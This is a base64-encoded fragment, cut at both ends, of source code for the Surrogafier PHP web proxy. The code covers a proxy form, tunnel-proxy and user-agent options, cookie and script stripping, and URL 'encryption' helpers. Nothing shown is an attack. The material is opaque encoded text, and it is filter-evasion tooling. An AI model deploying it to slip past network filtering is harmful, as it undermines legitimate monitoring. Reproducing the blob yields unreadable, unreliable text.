odmFyIGk9MTtpPD0xMjtpKyspIGFkdmFuY2VkX3N0dWZmW2ldLnN0eWxlLmRpc3BsYXk9KGFkdmFuY2VkX21vZGU/Im5vbmUiOiIiKTsNCglkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgic2ltcGxlX3N1Ym1pdCIpLnN0eWxlLmRpc3BsYXk9KGFkdmFuY2VkX21vZGU/ImlubGluZSI6Im5vbmUiKTsNCglkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgidXJsIikuc3R5bGUud2lkdGg9KGFkdmFuY2VkX21vZGU/Ijw/cGhwIGVjaG8oU0lNUExFX01PREVfVVJMV0lEVEgpOyA/PiI6Ijk5JSIpOw0KCWFkdmFuY2VkX21vZGU9IWFkdmFuY2VkX21vZGU7DQoJaWYoYWR2YW5jZWRfbW9kZSkgdXNlcmFnZW50X2NoZWNrKGZhbHNlKTsNCglzZXRUaW1lb3V0KCJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgndXJsJykuZm9jdXMoKTsiLDEwMCk7DQp9DQo8P3BocCB9ID8+DQoNCmZ1bmN0aW9uIHN1Ym1pdF9jb2RlKCl7DQoJZG9jdW1lbnQuZm9ybXNbMF0uPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pi5kaXNhYmxlZD1mYWxzZTsNCglpZihkb2N1bWVudC5mb3Jtc1swXS48P3BocCBlY2hvKENPT0tfUFJFRik7ID8+X2VuY3J5cHRfdXJscy5jaGVja2VkKQ0KCQlkb2N1bWVudC5mb3Jtc1swXS48P3BocCBlY2hvKENPT0tfUFJFRik7ID8+LnZhbHVlPTw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz5fcGUucHJveGVuYyhkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgndXJsJykudmFsdWUpOw0KCWVsc2UNCgkJZG9jdW1lbnQuZm9ybXNbMF0uPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pi52YWx1ZT1kb2N1bWVudC5nZXRFbGVtZW50QnlJZCgndXJsJykudmFsdWU7DQoJcmV0dXJuIHRydWU7DQp9DQoNCi8vLS0+DQo8L3NjcmlwdD4NCjwvaGVhZD4NCjxib2R5PD9waHAgZWNobyhTSU1QTEVfTU9ERT8nIG9ubG9hZD0idG9nZ2xlX21vZGUoKTsiJzpudWxsKTsgPz4+DQo8Y2VudGVyPg0KPHNwYW4gc3R5bGU9ImZvbnQtc2l6ZTogMThwdDsgZm9udC13ZWlnaHQ6IGJvbGQ7IG1hcmdpbi1ib3R0b206IDVweCI+U3Vycm9nYWZpZXI8L3NwYW4+DQo8Zm9ybSBtZXRob2Q9InBvc3QiIG9uc3VibWl0PSJyZXR1cm4gc3VibWl0X2NvZGUoKTsiIHN0eWxlPSJtYXJnaW46IDBweDsgcGFkZGluZzogMHB4Ij4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Ijw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz5fc2V0X3ZhbHVlcyIgdmFsdWU9IjEiIC8+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSI8P3BocCBlY2hvKENPT0tfUFJFRik7ID8+IiBkaXNhYmxlZD0iZGlzYWJsZWQiIC8+DQo8dGFibGU+DQo8dHI+DQo8dGQgc3R5bGU9InRleHQtYWxpZ246IGxlZnQiPlVSTDombmJzcDsmbmJzcDs8L3RkPg0KPHRkPg0KCTxpbnB1dCB0eXBlPSJ0ZXh0IiBjbGFzcz0idXJsIiBpZD0idXJsIiB2YWx1ZT0iPD9waHAgZWNobyhPUklHX1VSTCk7ID8+IiAvPg0KCTxub3NjcmlwdD48aW5wdXQgdHlwZT0idGV4dCIgY2xhc3M9Im5vc2NyaXB0dXJsIiBuYW1lPSI8P3BocCBlY2hvKENPT0tfUFJFRik7ID8+IiBpZD0idXJsIiB2YWx1ZT0iPD9waHAgZWNobyhPUklHX1VSTCk7ID8+IiAvPjwvbm9zY3JpcHQ+DQoJPGlucHV0IHR5cGU9InN1Ym1pdCIgY2xhc3M9InNpbXBsZV9zdHVmZiIgaWQ9InNpbXBsZV9zdWJtaXQiIHZhbHVlPSJTdXJyb2dhZnkiIHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOiAjRjBGMEYwIiAvPg0KPC90ZD4NCjwvdHI+DQo8dHIgY2xhc3M9ImFkdmFuY2VkX3N0dWZmIjw/cGhwIGlmKEZPUkNFX0RFRkFVTFRfVFVOTkVMKXsgPz4gc3R5bGU9ImRpc3BsYXk6IG5vbmUiPjw/cGhwIH0gPz4NCjx0ZCBzdHlsZT0idGV4dC1hbGlnbjogbGVmdCI+VHVubmVsIFByb3h5OjwvdGQ+DQo8dGQ+PHRhYmxlIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+DQo8dHI+DQoJPHRkIHN0eWxlPSJ3aWR0aDogMTAwJSI+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9Ijw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz5fcGlwIiBvbmtleXVwPSJpZih0aGlzLnZhbHVlLm1hdGNoKDw/cGhwIGVjaG8oSVBSRUdFWFApOyA/PikpeyBkb2N1bWVudC5mb3Jtc1swXS48P3BocCBlY2hvKENPT0tfUFJFRik7ID8+X3Bwb3J0LnZhbHVlPXRoaXMudmFsdWUucmVwbGFjZSg8P3BocCBlY2hvKElQUkVHRVhQKTsgPz4sJ1wkMicpOyB0aGlzLnZhbHVlPXRoaXMudmFsdWUucmVwbGFjZSg8P3BocCBlY2hvKElQUkVHRVhQKTsgPz4sJ1wkMScpOyBkb2N1bWVudC5mb3Jtc1swXS48P3BocCBlY2hvKENPT0tfUFJFRik7ID8+X3Bwb3J0LmZvY3VzKCk7IH07IiBzdHlsZT0id2lkdGg6IDEwMCU7IHRleHQtYWxpZ246IGxlZnQiIHZhbHVlPSI8P3BocCBlY2hvKGVtcHR5KCRfQ09PS0lFW0NPT0tfUFJFRi4nX3BpcCddKT9ERUZBVUxUX1RVTk5FTF9QSVA6JF9DT09LSUVbQ09PS19QUkVGLidfcGlwJ10pOyA/PiIgLz48L3RkPg0KCTx0ZCBzdHlsZT0id2lkdGg6IDVweCI+Jm5ic3A7Jm5ic3A7PC90ZD4NCgk8dGQgc3R5bGU9IndpZHRoOiA1MHB4Ij48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pl9wcG9ydCIgbWF4bGVuZ3RoPSI1IiBzaXplPSI1IiBzdHlsZT0id2lkdGg6IDUwcHgiIHZhbHVlPSI8P3BocCBlY2hvKGVtcHR5KCRfQ09PS0lFW0NPT0tfUFJFRi4nX3Bwb3J0J10pP0RFRkFVTFRfVFVOTkVMX1BQT1JUOiRfQ09PS0lFW0NPT0tfUFJFRi4nX3Bwb3J0J10pOyA/PiIgLz48L3RkPg0KPC90cj4NCjwvdGFibGU+PC90ZD4NCjwvdHI+DQo8dHIgY2xhc3M9ImFkdmFuY2VkX3N0dWZmIj4NCjx0ZCBzdHlsZT0idGV4dC1hbGlnbjogbGVmdCI+VXNlci1BZ2VudDo8L3RkPg0KPHRkPjxzZWxlY3QgbmFtZT0iPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pl91c2VyYWdlbnQiIHN0eWxlPSJ3aWR0aDogMTAwJSIgb25jaGFuZ2U9InVzZXJhZ2VudF9jaGVjayh0cnVlKTsiPg0KPD9waHAgZm9yZWFjaCgkdXNlcmFnZW50X2FycmF5IGFzICR1c2VyYWdlbnQpeyA/Pg0KCTxvcHRpb24gdmFsdWU9Ijw/cGhwIGVjaG8oJHVzZXJhZ2VudFswXSk7ID8+Ijw/cGhwIGlmKCRfQ09PS0lFW0NPT0tfUFJFRi4nX3VzZXJhZ2VudCddPT0kdXNlcmFnZW50WzBdKSBlY2hvICcgc2VsZWN0ZWQ9InNlbGVjdGVkIic7ID8+Pjw/cGhwIGVjaG8oJHVzZXJhZ2VudFsxXSk7ID8+PC9vcHRpb24+DQo8P3BocCB9ID8+DQo8L3NlbGVjdD48L3RkPg0KPC90cj4NCjx0ciBjbGFzcz0iYWR2YW5jZWRfc3R1ZmYiIGlkPSJ1c2VyYWdlbnRfdGV4dHRyIjw/cGhwIGVjaG8oJF9DT09LSUVbQ09PS19QUkVGLidfdXNlcmFnZW50J109PScxJz9udWxsOicgc3R5bGU9ImRpc3BsYXk6IG5vbmUiJyk7ID8+Pg0KCTx0ZD4mbmJzcDs8L3RkPg0KCTx0ZD48aW5wdXQgdHlwZT0idGV4dCIgaWQ9Ijw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz5fdXNlcmFnZW50dGV4dCIgbmFtZT0iPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pl91c2VyYWdlbnR0ZXh0IiB2YWx1ZT0iPD9waHAgZWNobygkX0NPT0tJRVtDT09LX1BSRUYuJ191c2VyYWdlbnR0ZXh0J10pOyA/PiIgc3R5bGU9IndpZHRoOiA5OSUiIC8+PC90ZD4NCjwvdHI+DQo8dHIgY2xhc3M9ImFkdmFuY2VkX3N0dWZmIj48dGQ+Jm5ic3A7PC90ZD48dGQgc3R5bGU9InRleHQtYWxpZ246IGxlZnQiPjxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0iPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pl91cmxfZm9ybSIgc3R5bGU9ImJvcmRlcjogMHB4IiA8P3BocCBpZighZW1wdHkoJF9DT09LSUVbQ09PS19QUkVGLidfdXJsX2Zvcm0nXSkpIGVjaG8gJ2NoZWNrZWQ9ImNoZWNrZWQiICc7ID8+Lz4mbmJzcDtQZXJzaXN0ZW50IFVSTCBGb3JtPC90ZD48L3RyPg0KPHRyIGNsYXNzPSJhZHZhbmNlZF9zdHVmZiI+PHRkPiZuYnNwOzwvdGQ+PHRkIHN0eWxlPSJ0ZXh0LWFsaWduOiBsZWZ0Ij48aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9Ijw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz5fcmVtb3ZlX2Nvb2tpZXMiIHN0eWxlPSJib3JkZXI6IDBweCIgPD9waHAgaWYoIWVtcHR5KCRfQ09PS0lFW0NPT0tfUFJFRi4nX3JlbW92ZV9jb29raWVzJ10pKSBlY2hvICdjaGVja2VkPSJjaGVja2VkIiAnOyA/Pi8+Jm5ic3A7UmVtb3ZlIENvb2tpZXM8L3RkPjwvdHI+DQo8dHIgY2xhc3M9ImFkdmFuY2VkX3N0dWZmIj48dGQ+Jm5ic3A7PC90ZD48dGQgc3R5bGU9InRleHQtYWxpZ246IGxlZnQiPjxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0iPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pl9yZW1vdmVfcmVmZXJlciIgc3R5bGU9ImJvcmRlcjogMHB4IiA8P3BocCBpZighZW1wdHkoJF9DT09LSUVbQ09PS19QUkVGLidfcmVtb3ZlX3JlZmVyZXInXSkpIGVjaG8gJ2NoZWNrZWQ9ImNoZWNrZWQiICc7ID8+Lz4mbmJzcDtSZW1vdmUgUmVmZXJlciBGaWVsZDwvdGQ+PC90cj4NCjx0ciBjbGFzcz0iYWR2YW5jZWRfc3R1ZmYiPjx0ZD4mbmJzcDs8L3RkPjx0ZCBzdHlsZT0idGV4dC1hbGlnbjogbGVmdCI+PGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSI8P3BocCBlY2hvKENPT0tfUFJFRik7ID8+X3JlbW92ZV9zY3JpcHRzIiBzdHlsZT0iYm9yZGVyOiAwcHgiIDw/cGhwIGlmKCFlbXB0eSgkX0NPT0tJRVtDT09LX1BSRUYuJ19yZW1vdmVfc2NyaXB0cyddKSkgZWNobyAnY2hlY2tlZD0iY2hlY2tlZCIgJzsgPz4vPiZuYnNwO1JlbW92ZSBTY3JpcHRzIChKUywgVkJTLCBldGMpPC90ZD48L3RyPg0KPHRyIGNsYXNzPSJhZHZhbmNlZF9zdHVmZiI+PHRkPiZuYnNwOzwvdGQ+PHRkIHN0eWxlPSJ0ZXh0LWFsaWduOiBsZWZ0Ij48aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9Ijw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz5fcmVtb3ZlX29iamVjdHMiIHN0eWxlPSJib3JkZXI6IDBweCIgPD9waHAgaWYoIWVtcHR5KCRfQ09PS0lFW0NPT0tfUFJFRi4nX3JlbW92ZV9vYmplY3RzJ10pKSBlY2hvICdjaGVja2VkPSJjaGVja2VkIiAnOyA/Pi8+Jm5ic3A7UmVtb3ZlIE9iamVjdHMgKEZsYXNoLCBKYXZhLCBldGMpPC90ZD48L3RyPg0KPHRyIGNsYXNzPSJhZHZhbmNlZF9zdHVmZiI+PHRkPiZuYnNwOzwvdGQ+PHRkIHN0eWxlPSJ0ZXh0LWFsaWduOiBsZWZ0Ij48aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9Ijw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz5fZW5jcnlwdF91cmxzIiBzdHlsZT0iYm9yZGVyOiAwcHgiIDw/cGhwIGlmKCFlbXB0eSgkX0NPT0tJRVtDT09LX1BSRUYuJ19lbmNyeXB0X3VybHMnXSkpIGVjaG8gJ2NoZWNrZWQ9ImNoZWNrZWQiICc7ID8+Lz4mbmJzcDtFbmNyeXB0IFVSTHM8bm9zY3JpcHQ+PGI+Kio8L2I+PC9ub3NjcmlwdD48L3RkPjwvdHI+DQo8dHIgY2xhc3M9ImFkdmFuY2VkX3N0dWZmIj48dGQ+Jm5ic3A7PC90ZD48dGQgc3R5bGU9InRleHQtYWxpZ246IGxlZnQiPjxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0iPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pl9lbmNyeXB0X2Nvb2tzIiBzdHlsZT0iYm9yZGVyOiAwcHgiIDw/cGhwIGlmKCFlbXB0eSgkX0NPT0tJRVtDT09LX1BSRUYuJ19lbmNyeXB0X2Nvb2tzJ10pKSBlY2hvICdjaGVja2VkPSJjaGVja2VkIiAnOyA/Pi8+Jm5ic3A7RW5jcnlwdCBDb29raWVzPG5vc2NyaXB0PjxiPioqPC9iPjwvbm9zY3JpcHQ+PC90ZD48L3RyPg0KPHRyIGNsYXNzPSJhZHZhbmNlZF9zdHVmZiI+PHRkIGNvbHNwYW49IjIiPjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJTdXJyb2dhZnkiIHN0eWxlPSJ3aWR0aDogMTAwJTsgYmFja2dyb3VuZC1jb2xvcjogI0YwRjBGMCIgLz48L3RkPjwvdHI+DQo8dHI+PHRkIHN0eWxlPSJmb250LXNpemU6IDhwdCIgY29sc3Bhbj0iMiI+DQo8ZGl2IGNsYXNzPSJzaWduYXR1cmUiPlN1cnJvZ2FmaWVyIHY8P3BocCBlY2hvKFZFUlNJT04pOyA/PiA8Yj4mbWlkZG90OzwvYj4gQnJhZCBDYWJsZTwvZGl2Pg0KPGRpdiBjbGFzcz0ibm9zY3JpcHRfc3R1ZmYiIHN0eWxlPSJmbG9hdDogcmlnaHQiPjxhIGhyZWY9IiMiIG9uY2xpY2s9InRvZ2dsZV9tb2RlKCk7IiBpZD0ibW9kZV90b2dnbGVyIj48P3BocCBlY2hvKFNJTVBMRV9NT0RFPydBZHZhbmNlZCc6J1NpbXBsZScpOyA/PiBNb2RlPC9hPjwvZGl2Pg0KPC90ZD48L3RyPg0KPC90YWJsZT4NCjxub3NjcmlwdD4NCjxiciAvPg0KPGI+Kio8L2I+IFN1cnJvZ2FmaWVyIGhhcyBkZXRlY3RlZCB0aGF0IHlvdXIgYnJvd3NlciBkb2VzIG5vdCBoYXZlIEphdmFzY3JpcHQgZW5hYmxlZC4gPGI+Kio8L2I+DQo8YnIgLz4NCjxiPioqPC9iPiBTdXJyb2dhZmllciByZXF1aXJlcyBKYXZhc2NyaXB0IGluIG9yZGVyIHRvIGZ1bmN0aW9uIHRvIGl0cyBmdWxsIHBvdGVudGlhbC4gPGI+Kio8L2I+DQo8L25vc2NyaXB0Pg0KPC9mb3JtPg0KPC9jZW50ZXI+DQo8L2JvZHk+DQo8L2h0bWw+DQoNCjw/cGhwIGV4aXQoKTsgfQ0KDQojIH19fQ0KDQojIEZSQU1FRCBQQUdFIFdJVEggVVJMIEZPUk0ge3t7DQppZihQQUdFVFlQRV9JRD09PVBBR0VUWVBFX0ZSQU1FX1RPUCAmJiBPUklHX1VSTCE9bnVsbCl7ID8+DQo8aHRtbD4NCjxoZWFkPg0KPHRpdGxlPjw/cGhwIGVjaG8oT1JJR19VUkwpOyA/PjwvdGl0bGU+DQo8c3R5bGU+DQoJYm9keXtmb250LWZhbWlseTogYml0c3RyZWFtIHZlcmEgc2FucywgdHJlYnVjaGV0IG1zOyBtYXJnaW46IDBweDsgcGFkZGluZzogMHB4OyBmb250LXNpemU6IDEycHg7IG92ZXJmbG93OiBoaWRkZW59DQoJaW5wdXR7Ym9yZGVyOiAxcHggc29saWQgIzAwMDAwMH0NCgl0ZHtmb250LXNpemU6IDEycHh9DQoJYXt0ZXh0LWRlY29yYXRpb246IG5vbmU7IGNvbG9yOiAjMDAwMDAwfQ0KCWE6aG92ZXJ7dGV4dC1kZWNvcmF0aW9uOiB1bmRlcmxpbmV9DQo8L3N0eWxlPg0KPHNjcmlwdD4NCjwhLS0NCg0KPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pj10cnVlOw0KDQo8P3BocCBpZihFTkNSWVBUX1VSTFMpIGpzX3Byb3hlbmMoKTsgPz4NCg0KZnVuY3Rpb24gc3VibWl0X2NvZGUoKXsNCjw/cGhwIGlmKEVOQ1JZUFRfVVJMUyl7ID8+DQoJZG9jdW1lbnQuZm9ybXNbMF0uPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pi52YWx1ZT08P3BocCBlY2hvKENPT0tfUFJFRik7ID8+X3BlLnByb3hlbmMoZG9jdW1lbnQuZm9ybXNbMF0uPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pi52YWx1ZSk7DQo8P3BocCB9ID8+DQoJcmV0dXJuIHRydWU7DQp9DQoNCi8vLS0+DQo8L3NjcmlwdD4NCjwvaGVhZD4NCjxib2R5Pg0KPGZvcm0gbWV0aG9kPSJnZXQiIG9uc3VibWl0PSJyZXR1cm4gc3VibWl0X2NvZGUoKTsiPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iIiB2YWx1ZT0iIiAvPg0KPHRhYmxlIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCIgc3R5bGU9IndpZHRoOiAxMDAlOyBoZWlnaHQ6IDEwMCU7IHBhZGRpbmc6IDBweDsgbWFyZ2luOiAwcHgiPg0KPHRyPjx0ZD48dGFibGUgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIiBzdHlsZT0id2lkdGg6IDEwMCU7IHBhZGRpbmc6IDNweCI+DQo8dHI+DQoJPHRkPiZuYnNwOzxiPjxhIGlkPSJwcm94eV9saW5rIiBocmVmPSI8P3BocCBlY2hvKFRISVNfU0NSSVBULic/PS0mPScuT0VOQ19VUkwpOyA/PiI+U3Vycm9nYWZpZXI8L2E+PC9iPiZuYnNwOyZuYnNwOzwvdGQ+DQoJPHRkIHN0eWxlPSJ3aWR0aDogMTAwJSI+PGlucHV0IHR5cGU9InRleHQiIGNsYXNzPSJ1cmwiIG5hbWU9IiIgc3R5bGU9IndpZHRoOiAxMDAlOyBwYWRkaW5nLWxlZnQ6IDRweCIgaWQ9InVybCIgdmFsdWU9Ijw/cGhwIGVjaG8oT1JJR19VUkwpOyA/PiIgLz48L3RkPg0KCTx0ZD4mbmJzcDs8L3RkPg0KCTx0ZD48aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0ic2ltcGxlX3N0dWZmIiBpZD0ic2ltcGxlX3N1Ym1pdCIgdmFsdWU9IlN1cnJvZ2FmeSIgc3R5bGU9ImJhY2tncm91bmQtY29sb3I6ICNGMEYwRjAiIC8+PC90ZD4NCjwvdHI+DQo8L3RhYmxlPjwvdGQ+PC90cj4NCjx0cj48dGQgc3R5bGU9ImhlaWdodDogMTAwJTsgYm9yZGVyLXRvcDogMXB4IHNvbGlkICMwMDAwMDAiPg0KPGlmcmFtZSBuYW1lPSI8P3BocCBlY2hvKENPT0tfUFJFRik7ID8+X3RvcCIgc3JjPSI8P3BocCBlY2hvKFRISVNfU0NSSVBULic/PV8mPScuT0VOQ19VUkwpOyA/PiIgZnJhbWVib3JkZXI9IjAiIHN0eWxlPSJib3JkZXI6IDBweDsgd2lkdGg6IDEwMCU7IGhlaWdodDogMTAwJSI+PC9pZnJhbWU+DQo8L3RkPjwvdHI+DQo8L3RhYmxlPg0KPC9mb3JtPg0KPC9ib2R5Pg0KPC9odG1sPg0KPD9waHAgZXhpdCgpOyB9DQoNCiMgfX19DQoNCiMgUFJFLUpBVkFTQ1JJUFQgQ09OU1RBTlRTICYgRlVOQ1RJT05TIHt7ew0KIyB0aGVzZSBjb25zdGFudHMgYW5kIGZ1bmN0aW9ucyBtdXN0IGJlIGRlZmluZWQgYmVmb3JlIEpTIGlzIG91dHB1dCwgYnV0IHdvdWxkIGJlIG1vcmUgcmVhZGFibHkgbG9jYXRlZCBsYXRlcg0KDQojZGVmaW5lKCdBVVJMX0xPQ0tfUkVHRVhQJywnKD86KD86amF2YXNjcmlwdHxtYWlsdG98YWJvdXQpOnx+fCU3ZSknKTsNCmRlZmluZSgnRlJBTUVfTE9DS19SRUdFWFAnLCcvXig/Oig/OmphdmFzY3JpcHR8bWFpbHRvfGFib3V0KTp8IykvaScpOw0KZGVmaW5lKCdBVVJMX0xPQ0tfUkVHRVhQJywnL14oPzooPzpqYXZhc2NyaXB0fG1haWx0b3xhYm91dCk6fCN8Jy5zdHJfcmVwbGFjZShhcnJheSgnLycsJy4nKSxhcnJheSgnXC8nLCdcLicpLGFkZHNsYXNoZXMoVEhJU19TQ1JJUFQpKS4nKS9pJyk7DQpkZWZpbmUoJ1VSTFJFRycsJy9eJy4NCgknKD86KFthLXpdKik/KD86XDo/XC9cLykpJy4JCSMgcHJvdG8NCgknKD86KFteXEBcL10qKVxAKT8nLgkJCSMgdXNlcnBhc3MNCgknKFteXC86XD9cI1wmXSopJy4JCQkjIHNlcnZlcm5hbWUNCgknKD86XDooWzAtOV0rKSk/Jy4JCQkjIHBvcnR2YWwNCgknKFwvW15cJlw/XCNdKj8pPycuCQkJIyBwYXRoDQoJJyhbXlwvXD9cI1wmXSooPzpcJlteXD9cI10qKT8pJy4JIyBmaWxlDQoJJyg/Olw/KFtcc1xTXSo/KSk/Jy4JCQkjIHF1ZXJ5DQoJJyg/OlwjKFtcc1xTXSopKT8nLgkJCSMgbGFiZWwNCickL2l4Jyk7DQoNCmZ1bmN0aW9uIGVzY2FwZV9yZWdleHAoJHJlZ2V4cCwkZG9sbGFyPWZhbHNlKXsNCgkkcmVnZXhwPXN0cl9yZXBsYWNlKCdcXCcsJ1xcXFwnLHN0cl9yZXBsYWNlKCdcJycsJ1xcXCcnLHN0cl9yZXBsYWNlKCciJywnXFwiJyxzdHJfcmVwbGFjZShjaHIoMTApLCdcbicsc3RyX3JlcGxhY2UoY2hyKDEzKSwnXHInLHN0cl9yZXBsYWNlKGNocig5KSwnXHQnLCRyZWdleHApKSkpKSk7DQoJcmV0dXJuICgkZG9sbGFyP3ByZWdfcmVwbGFjZSgnL1tcXFxcXSsoPz1bMC05XSkvJywnXFxcXCQnLCRyZWdleHApOnByZWdfcmVwbGFjZSgnL1tcXFxcXSsoPz1bMC05XSkvJywnXFxcXFxcXFwnLCRyZWdleHApKTsgIyoNCn0NCg0KIyB9fX0NCg0KIyBKQVZBU0NSSVBUIEZVTkNTIHt7ew0KDQppZihRVUVSWV9TVFJJTkc9PSdqc19mdW5jcycgfHwgUVVFUllfU1RSSU5HPT0nanNfZnVuY3NfZnJhbWVkJyl7ID8+Ly88c2NyaXB0Pg0KDQovLyBKQVZBU0NSSVBUIEZVTkNTOiBERUNPRElORyB7e3sNCjw/cGhwIGpzX3Byb3hlbmMoKTsgPz4NCg0KPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pl9wZS5iNjRkPWZ1bmN0aW9uKHN0cmluZyl7DQoJdmFyIGJpbnJlcD0iIixkZWNzdHI9IiI7DQoJdmFyIGNoYXJudW0sY2hhcmJpbjsNCglzdHJpbmc9c3RyaW5nLnJlcGxhY2UoL1s9XSokLywiIik7DQoJZm9yKHZhciBpPTA7aTxzdHJpbmcubGVuZ3RoO2krKyl7DQoJCWNoYXJudW09c3RyaW5nLmNoYXJDb2RlQXQoaSk7DQoJCWlmKGNoYXJudW0+PTk3KSBjaGFybnVtLT03MTsNCgkJZWxzZSBpZihjaGFybnVtPj02NSkgY2hhcm51bS09NjU7DQoJCWVsc2UgaWYoY2hhcm51bT49NDgpIGNoYXJudW0rPTQ7DQoJCWVsc2UgaWYoY2hhcm51bT09NDMpIGNoYXJudW09NjI7DQoJCWVsc2UgaWYoY2hhcm51bT09NDcpIGNoYXJudW09NjM7DQoJCWJpbnJlcCs9dGhpcy5kZWN0b2JpbihjaGFybnVtLDYpOw0KCX0NCglmb3IodmFyIGk9MDtpKzg8YmlucmVwLmxlbmd0aDtpKz04KXsNCgkJY2hhcmJpbj1iaW5yZXAuc3Vic3RyKGksOCk7DQoJCWRlY3N0cis9U3RyaW5nLmZyb21DaGFyQ29kZSh0aGlzLmJpbnRvZGVjKGNoYXJiaW4pKTsNCgl9DQoJcmV0dXJuIGRlY3N0cjsNCn0NCg0KPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pl9wZS5wcm94ZGVjPWZ1bmN0aW9uKHVybCl7DQoJdmFyIG5ld191cmwsY2hhcm51bTsNCglpZih1cmwuc3Vic3RyKDAsMSkhPSd+JyAmJiB1cmwuc3Vic3RyKDAsMykudG9Mb3dlckNhc2UoKSE9JyU3ZScpIHJldHVybiB1cmw7DQoJd2hpbGUodXJsLnN1YnN0cigwLDEpPT0nficgfHwgdXJsLnN1YnN0cigwLDMpLnRvTG93ZXJDYXNlKCk9PSclN2UnKXsNCgkJdXJsPXVybC5zdWJzdHIoMSx1cmwubGVuZ3RoLTEpOw0KCQl1cmw9dGhpcy5iNjRkKHVybCk7DQoJCW5ld191cmw9IiI7DQoJCWZvcihpPTA7aTx1cmwubGVuZ3RoO2krKyl7DQoJCQljaGFybnVtPXVybC5jaGFyQ29kZUF0KGkpOw0KCQkJY2hhcm51bS09Ijw/cGhwIGVjaG8oU0VTU19QUkVGKTsgPz4iLmNoYXJDb2RlQXQoaSUiPD9waHAgZWNobyhTRVNTX1BSRUYpOyA/PiIubGVuZ3RoKTsNCgkJCXdoaWxlKGNoYXJudW08MzIpIGNoYXJudW0rPTk0Ow0KCQkJbmV3X3VybCs9U3RyaW5nLmZyb21DaGFyQ29kZShjaGFybnVtKTsNCgkJfQ0KCQl1cmw9bmV3X3VybDsNCgl9DQoJcmV0dXJuIGRlY29kZVVSSUNvbXBvbmVudCh1cmwpOyAvLyB1cmxkZWNvZGUoKQ0KfQ0KDQovLyB9fX0NCg0KLy8gSkFWQVNDUklQVCBGVU5DUzogQ09PS19QUkVGIE9CSkVDVCB7e3sNCg0KPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pj17DQoNClVSTFJFRzo8P3BocCBlY2hvKHN1YnN0cihVUkxSRUcsMCxzdHJsZW4oVVJMUkVHKS0xKSk7ID8+LA0KVEhJU19TQ1JJUFQ6Ijw/cGhwIGVjaG8oVEhJU19TQ1JJUFQpOyA/PiIsDQpDT09LX1BSRUY6Ijw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz4iLA0KcGU6PD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pl9wZSwNCmdlbl9jdXJyX3VybG9iajpmdW5jdGlvbigpeyB0aGlzLmN1cnJfdXJsb2JqPW5ldyB0aGlzLmF1cmwodGhpcy5DVVJSX1VSTCk7IH0sDQoNCmdldENvb2tpZUFycjpmdW5jdGlvbigpeyByZXR1cm4gZG9jdW1lbnQuY29va2llLnNwbGl0KCI7ICIpOyB9LA0KDQphdXJsOmZ1bmN0aW9uKHVybCx0b3B1cmwpew0KCXRoaXMuVVJMUkVHPTw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz4uVVJMUkVHOw0KCXRoaXMuVEhJU19TQ1JJUFQ9PD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pi5USElTX1NDUklQVDsNCgl0aGlzLkVOQ1JZUFRfVVJMUz08P3BocCBlY2hvKENPT0tfUFJFRik7ID8+LkVOQ1JZUFRfVVJMUzsNCg0KCXRoaXMudHJpbT1mdW5jdGlvbihzdHIpeyByZXR1cm4gc3RyLnJlcGxhY2UoL15ccyooW1xzXFNdKj8pXHMqJC8sIiQxIik7IH0NCg0KCXRoaXMuZ2V0X2ZpZWxkcmVxPWZ1bmN0aW9uKGZpZWxkbm8sdmFsdWUpew0KCQl2YXIgZmllbGRyZXFzPW5ldyBBcnJheSgpOw0KCQlmaWVsZHJlcXNbMl09IjovLyIrKHZhbHVlIT0iIj92YWx1ZSsiQCI6IiIpOw0KCQlmaWVsZHJlcXNbNF09KHZhbHVlIT0iIiAmJiBwYXJzZUludCh2YWx1ZSkhPTgwPyI6IitwYXJzZUludCh2YWx1ZSk6IiIpOw0KCQlmaWVsZHJlcXNbN109KHZhbHVlIT0iIj8iPyIrdmFsdWU6IiIpOw0KCQlmaWVsZHJlcXNbOF09KHZhbHVlIT0iIj8iIyIrdmFsdWU6IiIpO